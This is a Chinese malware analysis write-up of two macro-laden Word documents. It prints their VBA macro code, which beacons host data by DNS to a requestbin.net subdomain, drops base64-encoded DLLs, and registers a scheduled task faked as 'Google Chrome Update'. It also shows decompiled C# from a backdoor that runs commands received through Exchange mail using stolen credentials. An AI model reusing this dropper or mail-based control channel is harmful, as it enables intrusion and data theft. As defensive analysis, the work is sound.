5f39xxx.doc


MD5: 5f39d19099329c874a868121cbd4ee05

(需要修改其中的定义:

Private Declare PtrSafe Function DnsQuery Lib "dnsapi" Alias "DnsQuery_A" (ByVal strname As String, ByVal wType As Integer, ByVal fOptions As Long, ByRef pServers As Any, ByRef ppQueryResultsSet As Long, ByRef pReserved As Long) As Long)

静态分析:

- 1. 打开文件,提示需要启动宏:
- 2. ALT+F11 打开 VBA 准备查看宏代码:



- 3. 宏代码有以下几个功能:
 - 1) 发送 DNS 请求
 - 2) 将获取主机信息(计算机名后四位字符,用户名前三位字符)
 - 3) 创建新的可信任路径

- 4. 经过尝试, 此宏代码仅在 2016 版 world 中进行允许, 可能是攻击者进行针对性的攻击。
- 5. 利用(ProcessMonitor)PM 和 wireshark 进行抓包

```
72 55.648505
74 56.652225
                                                                                                     109 Standard query 0x3177 A q4h6suppjk1.53a91f99cdc251934931.d.requestbin.net
109 Standard query 0x3177 A q4h6suppjk1.53a91f99cdc251934931.d.requestbin.net
                           192.168.163.128
                                                         192.168.163.2
                           192.168.163.128
    77 57.689373
                           192.168.163.128
                                                         192.168.163.2
                                                                                      DNS
                                                                                                     109 Standard query 0x3177 A q4h6suppjk1.53a91f99cdc251934931.d.requestbin.net 109 Standard query response 0x3177 Server failure A q4h6suppjk1.53a91f99cdc25...
     78 58.493551
Ouestions: 1
Authority RRs: 0
Additional RRs: 0
Queries
4 q4h6suppjk1.53a91f99cdc251934931.d.requestbin.net: type A, class IN
    Name: q4h6suppjk1.53a91f99cdc251934931.d.requestbin.net
     [Name Length
     [Label Count: 5]
    Type: A (Host Address) (1)
Class: IN (0x0001)
```

6. 此文档中的宏代码会进行两次 DNS 请求发送,下一次如下:

```
84 Standard query response ชxชาชล Server Tallure หาห 37.115.7.49.1n-ador.arpa
109 Standard query response 0xec3e Server failure A q4h6supaar2.53a91f99cdc25.
109 Standard query response 0xec3e Server failure A q4h6supaar2.53a91f99cdc25...
      219 /2.51580/
                                   192.168.163.2
                                                                      192.168.163.128
                                                                                                         DNS
     222 73.365183
223 73.442493
                                                                                                         DNS
DNS
                                   192.168.163.2
                                                                      192.168.163.128
                                                                                                                           109 Standard query response Øxec3e Server failure A q4h6supaar2.53a91f99cdc25.
86 Standard query Øx2048 PTR 71.116.55.194.in-addr.arpa
      255 80.268154
                                   192.168.163.128
                                                                      192.168.163.2
                                                                                                         DNS
                                                                                                                           122 Standard query response 0x2048 PTR 71.116.55.194.in-addr.arpa PTR trustce...
79 Standard query 0xdde7 A downsrf.eastday.com
      256 80, 270309
                                   192 168 163 2
                                                                      192.168.163.128
      264 81.375601
■ Queries
     q4h6supaar2.53a91f99cdc251934931.d.requestbin.net: type A, class IN
Name: q4h6supaar2.53a91f99cdc251934931.d.requestbin.net
```

7. 该恶意宏代码除了发送 DNS 请求外, 就是设置了新的可信任路径。(其实是为了方便后续的恶意文档的宏代码执行, 其中的 DNS 请求则是用来向 C&C 发送被感染主机信息)

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12. s

36fcxxx.doc

|Name Length: 49|

MD5: 36fcaf23def7876d16000a319c3ac744

(需要修改其中宏代码中的函数定义:


Private Declare PtrSafe Function DnsQuery Lib "dnsapi" Alias "DnsQuery_A" (ByVal strname As String, ByVal wType As Integer, ByVal fOptions As Long, ByRef pServers As Any, ByRef ppQueryResultsSet As Long, ByRef pReserved As Long) As Long)

正确的函数定义:

Private Declare Function DnsQuery Lib "dnsapi" Alias "DnsQuery_A" (ByVal strname As String, ByVal wType As Integer, ByVal Options As Long, ByVal pServers As Long, ppQueryResultsSet As Long, ByVal pReserved As Long) As Long

静态分析


1. word 文件需要打开宏, Alt+F11 查看宏代码:



- 2. 此恶意宏代码拥有更加复杂的功能:
 - 1) 同样会收集主机和用户信息
 - 2) 发送 DNS 请求
 - 释放恶意文件, 执行恶意代码 3)
- 此恶意宏代码的主要工作流程如下:
 - 1) 收集主机和用户信息, 发送 DNS 请求
 - 2) 创建新的文件路径'创建新文件路径 c:\users\supervirus\appdata\local\Google_Corporation\"
 - 3) 检查文件是否存在

```
"MicrosoftExchangeModule.dll"
"Microsoft.Exchange.WebServices.dll"
```

如果上面三个文件不存在,则创建新的文件,并且从 word 文档的窗口中读入数据 4) 并且写入到这些文件中。



接下来创建服务,利用 wscript.exe 来执行 exchange.vbs, 并且伪造服务为谷歌的

```
Set regInfo = taskDefinition.RegistrationInfo '伪造任务信息来源
regInfo.Description = "Google Chrome Update"
regInfo.Author = "Google Corporation"
```

依次分析宏代码:


```
Sub Document_Open()
  username = Mid(LCase(Environ("username")), 1, 3) '获取用户名的前三位
   Dim ae As Boolean
   ae = True
   Dim ce As Boolean
   ce = True
  bap = LCase(Environ("localappdata")) & "\Google_Corporation\" ' 获取指定文件夹路径
If Dir(bap, vbDirectory) = "" Then ' 如果指定路径不存在
      MkDir bap '创建新文件路径 c:\users\supervirus\appdata\local\Google_Corporation\"
   End If
   If of.FileExists(bp) Then
   t = mainForm.la.Caption
   Application.MouseAvailable Then
   Set DM = CreateObject("Microsoft.XML" & "DOM") '创建XML对象
Set EL = DM.createElement("t" & "mp") '在对象中创建新元素
EL.DataType = "bin.bas" & "e64" '数据的编码模式为base64编码
If ae Then '如果Exchange.dLL模块不存在,则执行下面代码创建新文件
EL.Text = mainForm.la.Caption '从mainForm窗口中读取恶意代码
        peacher = EL.NodeTypedValue
       Open ap For Binary Lock Read Write As #fileNo '获取文件读写权限
        Put #fileNo, 1, beacher '向文件中写入数据
        Close #fileNo
    If be Then
       peacher = EL.NodeTypedValue
        Open bp For Binary Lock Read Write As #fileNo '获取文件读写权限
        Put #fileNo, 1, beacher '向文件中写入数据
        Close #fileNo
    EL.Text = titleForm.la.Caption '从titleForm窗口中读取恶意代码
    peacher = EL.NodeTypedValue
    Open cp For Binary Lock Read Write As #fileNo ' 获取文件读写权限
    Put #fileNo, 1, beacher '向文件中写入数据
    Close #fileNo
```

```
Call DnsQuery(myDomain(2), DNS_TYPE_A, 0, 0, 0, 0) '发送DNS请求2
ActiveDocument.Sections(2).Range.Font.Hidden = False
End Sub
Sub Document_Close()
If Application.MouseAvailable Then

Call DnsQuery(myDomain(3), DNS_TYPE_A, 0, 0, 0, 0)'发送DNS请求3
Const e0 = "sc"

Const e1 = "he"
Const e2 = "ule.ser"
Set service = CreateObject(e0 & e1 & "d" & e2 & "vice") ' 创建"schedule.service"对象
Call service.Connect '连接到本机,其中包括计算机名,用户名和端口
Dim rootFolder
Set rootFolder = service.GetFolder("\") '获取指定文件路径
Dim taskDefinition
Set taskDefinition = service.NewTask(0)
Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo '伪造任务信息来源
regInfo.Description = "Google Chrome Update"
regInfo.Author = "Google Corporation"
Dim principal
Set principal = taskDefinition.principal
principal.LogonType = 3
```

5. 查看指定路径下的恶意文件:




释放文件分析- Exchange.vbs


6. 该文件主要调用 Wscript.Shell 对象,然后加载另外两个 dll 文件: (一个 loader),调用 EWS.Program 对象的 main 方法

释放文件分析- Microsoft.Exchange.WebServices.dll

7. 静态分析: .NET 编写, 未加壳



8. 进行 VT 检查, 并不报毒, 说明此文件应该是一个白文件:




9.


10.

释放文件分析- MicrosoftExchangeModule.dll

11. 静态分析: .NET 编写, 未加壳



12. 进行 VT 检查, 报毒:



13. 由于文件是由 .NET 编写,故需要利用 .NET 相关的工具 dnspy 进行反编译,跟踪到 EWS.program 对象 main 方法:

先创建线程,进行 sleep,可能是为了绕过沙箱检测

```
// Token: 0x02000010 RID: 16
[CompilerGenerated]
[Serializable]
private sealed class <> c
{
    // Token: 0x06000047 RID: 71 RVA: 0x00002203 File Offset: 0x00000403
    internal void <a href="Main>b_5_0">Main>b_5_0</a>()
    {
        Thread. Sleep (new Random(). Next (30000, 120000));
}
```

然后调用 CreateNotificationIcon 方法设置 icon 相关的配置:

然后获取计算机用户名进行身份 ID 设置

继续往下: 获取当前文件执行路径

```
Directory. SetCurrentDirectory(Path. GetDirectoryName(Assembly. GetExecutingAssembly().get_Location()));
RemoteCertificateValidationCallback arg_6C_0;
```

校验证书:

```
if ((arg_6C_0 = Program. <>c. <>9_5_1) == null)
{
    arg_6C_0 = (Program. <>c. <>9_5_1 = new RemoteCertificateValidationCallback(Program. <>c. <>9. <\main>b_5_1))
}
```

读取资源,然后利用解析的资源进行 EWS 服务器邮箱登录,然后创建新的 EWS 服务:

```
try {
    List<Credential> expr_76 = new List<Credential>0:
    expr_76. Add(new Credential (Resourcel. host, Resourcel. username, Resourcel. password, Resourcel. to));
    thread. Start(0;
    thread. Join();

EWSCommunication eWSCommunication = Program. CheckConnection(expr_76);
    List<CMD> list = new List<CMD>();
```

```
// Token: 0x0600001F RID: 31 RVA: 0x0000029CC File Offset: 0x00000BCC
publid ERSCommunication string host, string toMailAddress = null, string username = null, string password = null, string
dommin = null, int mode = 0)

( this.ews = new ERSManager(host, username, password, dommin, mode);

if (toMailAddress = null)

{ this.sendEmailForResponse = false;

this.toMailAddress = username;
}

else

{ this.sendEmailForResponse = true:
   this.toMailAddress = toMailAddress;
}

this.toMailAddress = toMailAddress;
}

this.Initialize();
```

然后进行 ews 服务初始化,并且添加收件规则;

并且记录相关的登录情况并加密,然后写入文件 e.txt 文件中

接下来通过 ews 服务便利当前用户的所有邮件,读取邮件的具体信息,然后搜索指定的文本内容,如果在邮件中搜索到指定内容,则对文本进行解码,然后返回,并且将邮件删除:

接下来,将从邮件中读取的文本进行解密:

```
List<br/>byte[]> arg_B3_0 = eWSCommunication. GetCommands(); 从邮件读取的文本<br/>List<CMD>();<br/>using (List<br/>byte[]>. Enumerator enumerator = arg_B3_0. GetEnumerator())<br/>{<br/>while (enumerator. MoveNext())<br/>{<br/>byte[] current = enumerator.get_Current();<br/>list. AddRange(Parser. ParseCommand(current));<br/>cmd指令解密<br/>}
```

获得相关的执行指令,然后进行执行,并且将执行结果进行返回;其中,如果没从邮件中找到执行的命令,则执行 alive 函数进行存活检测:

```
while (enumerator.MoveNext())
{
byte[] current = enumerator.get_Current();
list.AddRange(Parser.ParseCommand(current));
}
if (list.get_Count() == 0)
{
eWSCommunication.Alive();

byte[] commands = Parser.CreateResult(Runner.ExecAllCmds(list));
eWSCommunication.SendResult(commands);
}
catch (Exception)
{
}
```

执行命令的函数 execAllCmds:

返回的命令执行结果函数 SendResult,通过邮件返回结果:

```
public void SendResult(byte[] commands)
{
    if (commands != null)
    {
        string subject = Resourcel.resultSubject + Program.id;
        new Random();
        string text = Lib. ToBase64(commands);
        string body = string.Format(Resourcel.emailBody, text);
    if (this.sendEmailForResponse)
    {
        this.ews.SendEmail(this.toMailAddress, subject, body, null, true, true);
        return;
    }
    this.ews.CreateEmail(this.toMailAddress, subject, body, "", true, true, this.destFolder);
}
```

14. 总结: 此 dll 文件的主要功能是利用 windows Exchange Web Service 作为工具在受害者主机上执行恶意代码 并传输恶意流量, 其前提是先窃取到受害者的邮件用户名和密码, 然后通过邮件发送恶意流量, 并且将邮件移动到"被删除邮件"中。

15.

16.

详 细 报 告 可 以 参 考 : https://mp.weixin.qq.com/s?_biz=MzAwNTI1NDI3MQ==&mid=2649616748&idx=1&sn=f8

https://mp.weixin.qq.com/s?__biz=MzAwNTI1NDI3MQ==&mid=2649616748&idx=1&sn=f8be15b4664da08a8088b1f981637e63&scene=19#wechat_redirect